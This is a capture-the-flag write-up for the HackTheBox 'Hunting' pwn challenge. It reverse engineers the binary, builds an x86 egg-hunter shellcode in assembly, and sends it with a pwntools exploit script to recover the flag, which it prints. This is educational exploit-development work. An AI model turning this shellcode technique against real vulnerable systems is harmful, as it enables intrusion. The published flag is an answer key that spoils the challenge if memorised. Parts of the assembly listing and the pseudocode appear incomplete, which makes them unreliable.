HackTheBox – Hunting Write-up

Hi everyone!

Today’s post is on Hunting, an easy Pwn challenge on HackTheBox. It was created on 27th September 2020. This challenge is on creating an Egg Hunter so read on if you are interested. Let’s get started!

Fig 1. Hunting Pwn challenge on HackTheBox

Files provided

There is only 1 file provided which is a 32-bit ELF file:

You may also download the IDA database of what I have reverse engineered for Hunting where I have made changes to the names of variables, functions, and added comments here.

Alternatively, you can download the whole folder which contains exploits, the hunting file, the IDA database, the assembly file, etc, from this folder here.

Tools required

  • 32-bits GNU/Linux system (Optional. Without it is harder to debug)
  • IDA (You can use other reverse engineering tools as well)
  • Pwntools
  • GDB
  • Nasm
  • LD

For Nasm and LD, it should already be available if you are using a 32-bit or 64-bit Kali. I am not sure about Parrot, BlackArch, etc. You can check on the OS you are using.

Outlook of the program

The program is really simple where there is an empty prompt. If you input content, it will crash and shows a segmentation fault error. The example below shows that I input string “abcd” and an error appears.

└─$ ./hunting
zsh: segmentation fault  ./hunting

If we do not input any content, the program will terminal in 3 seconds.

└─$ ./hunting


If we try to launch Hunting in GDB, run the program, input some random values, it will show the same crashed address.

└─$ gdb ./hunting
(gdb) r
Starting program: /home/soulx/Documents/CTF/HackTheBox/Pwn/Hunting/hunting

Program received signal SIGSEGV, Segmentation fault.
0x5655a1a0 in ?? ()
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/soulx/Documents/CTF/HackTheBox/Pwn/Hunting/hunting

Program received signal SIGSEGV, Segmentation fault.
0x5655a1a0 in ?? ()

Both shows that it crashes at address 0x5655a1a0. So it seems like our input will not affect it.

Reverse engineering

Checking strings in Hunting

If we look at the strings in the program (press key SHIFT+F12), we can see that the flag is stored in the program itself. The program we are seeing is a dummy flag while the program run on the server will have the real flag.

Fig 5a. Dummy flag found on the program

This dummy flag is being accessed in the main() where mmap() will be used to create the new location (red box in Fig 5b) before copying the flag using strcpy() to the new location while the original location’s flag will be emptied using memset() (blue box in Fig 5b).

In the 1st half of main(), we can also see signal(&exit()) and alarm(3) (green box in Fig 5b) which explains why the program exits after 3 seconds if we leave the program running.

Fig 5b. First half of main()

NOTE: main(), get_addr_range_to_use(), and many local variables in the functions are not given as no symbols were provided. I had to reverse engineer the program to figure things out before changing their names accordingly. If you open the IDA of the program from scratch, you will see random names being given according to the address location. Therefore, you have to change the names yourself or use the database of the IDA I provided.

If we analyze get_addr_range_to_use(), we will be able to see that the address returned via register EAX is generated from rand() and is has a specific range, 0x5FFFFFFF < addr <= 0xF7000000 (see Fig 5c).

Fig 5c. Second half of get_addr_range_to_use() where the address is generated

If we analyze the second half of main(), we will see that the program reads our input and executes our input as if our input is a shellcode.

Fig 5d. Get our input and calls it, treating our input as a shellcode

Since the flag is being relocated randomly and the program accepts our input as a shellcode, we can use the Egg Hunter’s technique.

Crafting the Egg Hunter shellcode

Egg Hunter is often used when there is not enough space to place a shellcode that requires lots of bytes. As such, Egg Hunter is a shellcode that will locate the remaining shellcode based on the TAG/EGG that will help to identify the start of the remaining shellcode. This remaining shellcode is usually placed somewhere else in the memory not choose by the memory. Therefore, the same concept applies that we need to hunt for the flag somewhere in the memory which we know the start of the flag is “HTB{“. This can be considered as the TAG/EGG.

References or resources

Currently, there are tools that help to generate Egg Hunter shellcode such as Pwntool’s shellcraft.egghunter(). However, the shellcode generated is too large for this challenge since we only have 60 bytes of space. To use it, stagers are required which is very troublesome. Moreover, I wouldn’t learn how to create an Egg Hunter on my own. If you are interested, I came across this write-up that uses Pwntool’s shellcraft.egghunter() by pwning.tech here.

Before I begin, theses are the two resources I referred to when I was learning about Egg Hunter for this challenge:

As for reference to syscall:

Considerations when accessing pages

As we access Virtual Address Space (VAS), some of the memory regions are un-allocated and thus it is dangerous to access them as we traverse the memory to search for our flag. Therefore, we can use access(address, mode) which can be called using syscall setting EAX = 0x21. Therefore, the rough algorithm to check for EFAULT (0x2F) error before checking the egg and finally obtaining the string is shown below:

mem_addr = 0x5FFFFFFF

if access(mem_addr, 0) == 0x2f:
elif value_at(mem_addr) != egg:
    mem_addr += 1

We can start our address to search from 0x5FFFFFFF since we know that the flag will be placed in the range 0x5FFFFFFF < address <= 0xF7000000.

We can print the flag using write(1, address of flag, 36). The 1st argument of write() is 1 which means we want to use stdout (standard output). We are using 36 as it is the length of the flag based on the dummy flag we were given.

Considerations for alarm(), signal(), and exit()

As we know that after 3 seconds, the program will exit. This might not give us enough time to traverse the memory and search for the value. Therefore, we can syscall an alarm by setting EAX = 0x1B. When setting another alarm, the program will not call the signal until there are no more alarms left. This will allow us to prolong when will the signal be called. I set another 60 seconds (0x3C) which should be more than enough time.

push 0x3c                  ; set duration for arg1 of alarm()
pop ebx
push 0x1b                  ; alarm systemcall
pop eax
int 0x80

Forming a full Egg Hunter shellcode

global _start

section .text

  push 0x3c                  ; set duration for arg1 of alarm()
  pop ebx
  push 0x1b                  ; alarm systemcall
  pop eax
  int 0x80
  mov edi, dword 0x7b425448  ; egg = "{BTH". Reverse due to little-endian
  mov edx, 0x5FFFFFFF        ; set start address to search for the egg

  or dx, 0xfff            ; dx=4095 ; 0x1000 - 1 (4095) ; Page sizes in Linux x86 = 4096

  inc edx                 ; edx = 4096
  pusha                   ; push all of the current general purposes registers onto the stack
  xor ecx, ecx            ; clear arg2
  lea ebx, [edx + 0x4]    ; address to be validated for memory violation
  mov al, 0x21            ; access systemcall
  int 0x80
  cmp al, 0xf2            ; compare return value, bad address = EFAULT (0xf2)
  popa                    ; get all the registers back
  jz next_page            ; jump to next page if EFAULT occurs
  cmp [edx], edi          ; compare string to egg
  jnz next_address        ; jump to next address if NOT egg
  mov ecx, edx            ; assign address of flag (buffer) to arg2 of write()
  push 0x24               ; set length of flag to write = 0x24(36) at arg3
  pop edx
  push 0x1                ; set arg1 (fd) as 1 in write() which is stdout
  pop ebx
  mov al, 0x4             ; write systemcall
  int 0x80

Obtaining shellcode

As we already formed our assembly code for our Egg Hunter, we will need to compile it before obtaining the bytecodes.

└─$ nasm -f elf32 ./payload_gen.asm && ld -m elf_i386 payload_gen.o -o payload
└─$ objdump -d ./payload|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Crafting exploit

Since we now have our Egg Hunter shellcode, we can use Pwntools to help us to send our shellcode without a new line character. Going to the website and input manually, we will need to press the ENTER key which will cause a new line character to our shellcode.

from pwn import *

context.update(arch="i386", os="linux")

# binary = ELF("./hunting")
payload = b"\x6a\x3c\x5b\x6a\x1b\x58\xcd\x80\xbf\x48\x54\x42\x7b\xba\xff\xff\xff\x5f\x66\x81\xca\xff\x0f\x42\x60\x31\xc9\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xeb\x39\x3a\x75\xec\x89\xd1\x6a\x24\x5a\x6a\x01\x5b\xb0\x04\xcd\x80"

# r = binary.process()
r = remote("",31569)
log.info("Sending payload...")

flag = r.recv()
log.success("FLAG: " + str(flag))

Obtaining flag

└─$ python3 ./exploit.py
[+] Opening connection to on port 31569: Done
[*] Sending payload...
[+] FLAG: b'HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}'
[*] Closed connection to port 31569

Flag: HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂


Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.